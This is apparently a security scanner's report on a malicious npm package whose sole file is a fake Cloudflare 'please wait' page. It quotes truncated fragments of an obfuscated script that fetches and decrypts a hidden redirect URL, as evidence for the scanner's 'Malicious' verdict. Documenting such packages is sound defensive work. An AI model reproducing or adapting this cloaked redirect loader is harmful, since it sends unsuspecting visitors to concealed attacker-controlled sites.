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jxnbdyh8wpfhcb@1.0.0: Malicious npm security report (Block) | LPM Firewall

registry / jxnbdyh8wpfhcb / 1.0.0

jxnbdyh8wpfhcb@1.0.0

AI Security Review

scanned 9d ago · by lpm-firewall-ai

The sole package entry is an obfuscated HTML page that retrieves, decrypts, and uses a remotely supplied URL. This is an active remote redirect mechanism with a concealed destination.

Static reason

One or more suspicious static signals were detected.

Trigger

Opening or rendering index.html.

Impact

Visitors can be sent to an operator-controlled destination that is not auditable from the published package.

Mechanism

The embedded script performs a fetch request, decrypts the response into a URL, and drives an automatic redirect flow; Turnstile is loaded as part of the page.

Attack narrative

When the package entry is opened, its inline obfuscated script contacts an obscured endpoint, decrypts a returned URL, and automatically follows the resulting host flow. The destination is deliberately hidden from static inspection, while a Turnstile challenge is loaded to gate the page. This is a covert remote redirect loader rather than a normal npm package entry.

AI rationale

The only entry point implements an obfuscated, remotely controlled redirect chain whose target is encrypted until runtime. That concealed active behavior is malicious.

Evidence

index.html

Network endpoints1

challenges.cloudflare.com

Decision evidence

public snapshot

AI called this Malicious at 96.0% confidence with false-positive risk.

Source & flagged code

7 flagged · loading source

index.htmlView file

182} L183: (function(_0x476d65,_0x334950){const _0x3841ac={_0x2f0286:0x403,_0x4b7e4d:0x3e8,_0x40f64f:0x383,_0x255dac:0x453,_0x4f17c9:0x3ec,_0x24e580:0x3de,_0x3b1635:0x415,_0x3b10cf:0x480,_0x5...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

183,_0x2f5b52-_0x2ab7e4._0x52d3b5);}const _0x459f05=await _0x5cd3bc['bECiR'](fetch,_0x5cd3bc['gXcwQ'],{'method':_0x5cd3bc['wFYxY'],'headers':{'Content-Type':_0x5cd3bc[_0x4b5fb0(_0x3c3c01._0x398089,_0x3c3c01._0x4e47a0,_0x3c3c01._0x2cdd74,_0x3c3c01._0x31147a)]},'body':JSON[_0x4b5fb0(0x371,_0x3c3c01._0x325223,_0x3c3c01._0x1479e4,_0x3c3c01._0x4d2615)](_0x411e76)});function _0x16f45a(_0xb6f54b,_0x34523a,_0x25dd38,_0x3a2374){return _0x537110(_0xb6f54b-0xef,_0x34523a-_0x2d918f._0x49244c,_0xb6f54b,_0x3a237

High

Ai Review Evidence

The entry contains heavily obfuscated code that sends a JSON request with fetch.

index.htmlView on unpkg · L183

183e82e,-_0x3c3c01._0xf6c8d5)]=0x80;const _0x3bea65=new TextDecoder()[_0x16f45a(-0x2c7,-0x242,-0x1e4,-_0x3c3c01._0x345bae)](await crypto[_0x16f45a(-_0x3c3c01._0x19d8f3,-0x25f,-_0x3c3c01._0x1af5ca,-_0x3c3c01._0x4126c1)][_0x4b5fb0(_0x3c3c01._0x564506,_0x3c3c01._0x48c078,_0x3c3c01._0x9a71cf,_0x3c3c01._0x22add0)](_0x4e1e3b,_0x1ce094,_0x4da2b1));return new URL(/^[a-z][a-z\d+.-]*:\/\//i['test'](_0x3bea65)?_0x3bea65:_0x5cd3bc[_0x16f45a(-_0x3c3c01._0x3cbf87,-_0x3c3c01._0x1c9715,-0x2b2,-0x268)](_0x5cd3bc[_0x4b5fb0(_0x3c3c01._0x2e8c77,_0x3c3c01._0x13f9ca,_0x3c3c01._0x2a8a2d,0x386)],_0x3bea65));}()[_0x53711

High

Ai Review Evidence

The response is decrypted and converted into a URL, then an automatic promise flow uses the resolved host URL.

index.htmlView on unpkg · L183

1834,-_0x2f9e34._0x1105e3)][_0x7aea6a(_0x2f9e34._0x23b7dd,_0x2f9e34._0x5b32fa,_0x2f9e34._0x537da0,_0x2f9e34._0x41e008)](_0x19d9dd[_0x57af4c(-_0x2f9e34._0x326c17,-_0x2f9e34._0x3e7f4e,-0xfb,-_0x2f9e34._0x2067d2)]());});}const hostUrlPromise=resolveHostUrl(),checkPromise=hostUrlPromise['then'](function(_0x5632b8){const _0x5bd61d={_0x42f688:0x77,_0x3b279e:0xf4,_0x211ff7:0xce,_0x521821:0xb4,_0xa1639e:0x57,_0x287c45:0xe0,_0xded226:0x7c,_0x20b652:0x74,_0x37bb19:0xfe,_0x2f93ee:0x10,_0x50ac8e:0x4,_0x1cb654:

High

Ai Review Evidence

The response is decrypted and converted into a URL, then an automatic promise flow uses the resolved host URL.

index.htmlView on unpkg · L183

9<link rel="preconnect" href="https://challenges.cloudflare.com" /> <script src="https://challenges.cloudflare.com/turnstil

High

Ai Review Evidence

The page also loads a Cloudflare Turnstile script, consistent with gating the redirect flow.

index.htmlView on unpkg · L9

package.jsonView file

2"name": "jxnbdyh8wpfhcb", "version": "1.0.0", "main": "index.html", "files": [ "index.ht

High

Ai Review Evidence

The package exposes index.html as its only main entry.

package.jsonView on unpkg · L2

Source & flagged code

7 flagged

index.htmlView file

Lines 1-29text

1<!DOCTYPE html>

2<html lang="zh-TW" dir="ltr">

3<head>

4 <meta charset="UTF-8">

5 <meta name="robots" content="noindex,nofollow">

6 <meta name="viewport" content="width=device-width, initial-scale=1">

7 <title>請稍候...</title>

8

9 <link rel="preconnect" href="https://challenges.cloudflare.com" />

10 <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>

High

Ai Review Evidence

The page also loads a Cloudflare Turnstile script, consistent with gating the redirect flow.

index.htmlView on unpkg · L9

11 <style>

12 * { box-sizing: border-box; margin: 0; padding: 0; }

13 html {

14 line-height: 1.15;

15 text-size-adjust: 100%;

16 font-family: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;

17 background-color: #ffffff;

18 color: #313131;

19 }

20 body {

21 display: flex;

22 flex-direction: column;

23 min-height: 100vh;

24 justify-content: space-between;

25 }

26 @media (prefers-color-scheme: dark) {

27 html { background-color: #313131; color: #f2f2f2; }

28 .main-content h1, .main-content p, .footer-text, .footer-text a { color: #f2f2f2 !important; }

29 .challenge-box { border-color: #e7e7e7 !important; }

Lines 162-186html

162 .ray-id { font-family: monospace; font-size: 13px; color: #8c8c8c; }

163 .ray-id code { font-family: monospace; font-weight: bold; }

164 .footer-link-wrapper { font-size: 13px; color: #8c8c8c; display: flex; align-items: center; }

165 .footer-text a { color: #0051c3; text-decoration: none; }

166 .footer-text a:hover { text-decoration: underline; }

167 .footer-divider { display: inline-block; width: 1px; height: 12px; background-color: #8c8c8c; margin: 0 10px; }

168 @media (max-width: 600px) {

169 .footer-wrapper { flex-direction: column; align-items: flex-start; }

170 .footer-divider { display: none; }

171 .footer-link-wrapper { flex-direction: column; align-items: flex-start; gap: 4px; }

172 }

173 </style>

174

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

package.jsonView file

Lines 1-9json

1{

2 "name": "jxnbdyh8wpfhcb",

3 "version": "1.0.0",

4 "main": "index.html",

5 "files": [

6 "index.html"